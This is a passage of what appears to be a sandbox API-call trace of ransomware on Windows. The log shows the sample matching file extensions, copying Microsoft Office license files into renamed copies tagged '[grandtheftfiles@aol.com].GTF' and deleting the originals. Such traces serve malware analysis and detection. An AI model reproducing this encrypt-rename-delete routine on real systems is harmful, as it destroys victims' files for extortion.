	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".doc") returned 4
	[0170.644] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString=".docx") returned 5
	[0170.644] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.644] lstrlenW (lpString=".pdf") returned 4
	[0170.644] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString=".xls") returned 4
	[0170.644] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString=".xlsx") returned 5
	[0170.644] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.644] lstrlenW (lpString=".ppt") returned 4
	[0170.644] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".zip") returned 4
	[0170.644] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString=".rar") returned 4
	[0170.644] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString=".bz2") returned 4
	[0170.644] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString=".7z") returned 3
	[0170.644] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".dbf") returned 4
	[0170.644] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".1cd") returned 4
	[0170.644] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.645] lstrlenW (lpString=".jpg") returned 4
	[0170.645] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.645] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.645] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21
	[0170.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.645] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10619) returned 1
	[0170.645] CloseHandle (hObject=0x574) returned 1
	[0170.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220
	[0170.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.646] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.646] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.648] GetLastError () returned 0x0
	[0170.648] ReadFile (in: hFile=0x574, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x297b, lpOverlapped=0x0) returned 1
	[0170.693] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2980, lpOverlapped=0x0) returned 1
	[0170.695] ReadFile (in: hFile=0x574, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.695] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0170.695] SetEndOfFile (hFile=0x534) returned 1
	[0170.696] CloseHandle (hObject=0x534) returned 1
	[0170.696] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.696] SetEndOfFile (hFile=0x574) returned 1
	[0170.705] CloseHandle (hObject=0x574) returned 1
	[0170.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1
	[0171.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.340] lstrlenW (lpString=".doc") returned 4
	[0171.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.340] lstrlenW (lpString=".docx") returned 5
	[0171.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.340] lstrlenW (lpString=".pdf") returned 4
	[0171.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.340] lstrlenW (lpString=".xls") returned 4
	[0171.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.340] lstrlenW (lpString=".xlsx") returned 5
	[0171.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.340] lstrlenW (lpString=".ppt") returned 4
	[0171.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.340] lstrlenW (lpString=".zip") returned 4
	[0171.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.340] lstrlenW (lpString=".rar") returned 4
	[0171.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.340] lstrlenW (lpString=".bz2") returned 4
	[0171.341] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".7z") returned 3
	[0171.341] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.341] lstrlenW (lpString=".dbf") returned 4
	[0171.341] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.341] lstrlenW (lpString=".1cd") returned 4
	[0171.341] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.341] lstrlenW (lpString=".jpg") returned 4
	[0171.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.341] lstrlenW (lpString=".doc") returned 4
	[0171.341] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".docx") returned 5
	[0171.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.341] lstrlenW (lpString=".pdf") returned 4
	[0171.341] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".xls") returned 4
	[0171.341] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".xlsx") returned 5
	[0171.341] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.341] lstrlenW (lpString=".ppt") returned 4
	[0171.341] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.341] lstrlenW (lpString=".zip") returned 4
	[0171.341] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".rar") returned 4
	[0171.341] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".bz2") returned 4
	[0171.341] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.341] lstrlenW (lpString=".7z") returned 3
	[0171.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.342] lstrlenW (lpString=".dbf") returned 4
	[0171.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.342] lstrlenW (lpString=".1cd") returned 4
	[0171.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0171.342] lstrlenW (lpString=".jpg") returned 4
	[0171.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.342] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.342] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25
	[0171.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0171.856] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19921) returned 1
	[0171.856] CloseHandle (hObject=0x534) returned 1
	[0171.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0172.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.490] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.490] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.491] GetLastError () returned 0x0
	[0172.491] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0172.493] WriteFile (in: hFile=0x48c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0172.495] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.495] WriteFile (in: hFile=0x48c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x106, lpOverlapped=0x0) returned 1
	[0172.495] SetEndOfFile (hFile=0x48c) returned 1
	[0172.495] CloseHandle (hObject=0x48c) returned 1
	[0172.495] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.495] SetEndOfFile (hFile=0x428) returned 1
	[0172.499] CloseHandle (hObject=0x428) returned 1
	[0172.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1
	[0172.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.501] lstrlenW (lpString=".doc") returned 4
	[0172.501] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString=".docx") returned 5
	[0172.501] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.501] lstrlenW (lpString=".pdf") returned 4
	[0172.501] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString=".xls") returned 4
	[0172.501] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString=".xlsx") returned 5
	[0172.501] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.501] lstrlenW (lpString=".ppt") returned 4
	[0172.501] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.501] lstrlenW (lpString=".zip") returned 4
	[0172.501] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString=".rar") returned 4
	[0172.501] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString=".bz2") returned 4
	[0172.501] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString=".7z") returned 3
	[0172.501] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.501] lstrlenW (lpString=".dbf") returned 4
	[0172.501] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.501] lstrlenW (lpString=".1cd") returned 4
	[0172.501] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.501] lstrlenW (lpString=".jpg") returned 4
	[0172.502] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.502] lstrlenW (lpString=".doc") returned 4
	[0172.502] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString=".docx") returned 5
	[0172.502] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.502] lstrlenW (lpString=".pdf") returned 4
	[0172.502] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString=".xls") returned 4
	[0172.502] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString=".xlsx") returned 5
	[0172.502] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.502] lstrlenW (lpString=".ppt") returned 4
	[0172.502] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.502] lstrlenW (lpString=".zip") returned 4
	[0172.502] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString=".rar") returned 4
	[0172.502] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString=".bz2") returned 4
	[0172.502] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString=".7z") returned 3
	[0172.502] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.502] lstrlenW (lpString=".dbf") returned 4
	[0172.502] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.502] lstrlenW (lpString=".1cd") returned 4
	[0172.502] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.503] lstrlenW (lpString=".jpg") returned 4
	[0172.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.503] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.503] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33
	[0172.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.504] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10667) returned 1
	[0172.504] CloseHandle (hObject=0x428) returned 1
	[0172.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220
	[0172.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0172.712] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.712] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.843] GetLastError () returned 0x0
	[0172.843] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0172.845] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0172.846] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.846] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.846] SetEndOfFile (hFile=0x534) returned 1
	[0172.847] CloseHandle (hObject=0x534) returned 1
	[0172.847] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.847] SetEndOfFile (hFile=0x3dc) returned 1
	[0172.850] CloseHandle (hObject=0x3dc) returned 1
	[0172.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1
	[0172.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.852] lstrlenW (lpString=".doc") returned 4
	[0172.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString=".docx") returned 5
	[0172.852] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.852] lstrlenW (lpString=".pdf") returned 4
	[0172.852] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString=".xls") returned 4
	[0172.852] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString=".xlsx") returned 5
	[0172.852] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.852] lstrlenW (lpString=".ppt") returned 4
	[0172.852] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.852] lstrlenW (lpString=".zip") returned 4
	[0172.852] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString=".rar") returned 4
	[0172.852] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString=".bz2") returned 4
	[0172.852] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.852] lstrlenW (lpString=".7z") returned 3
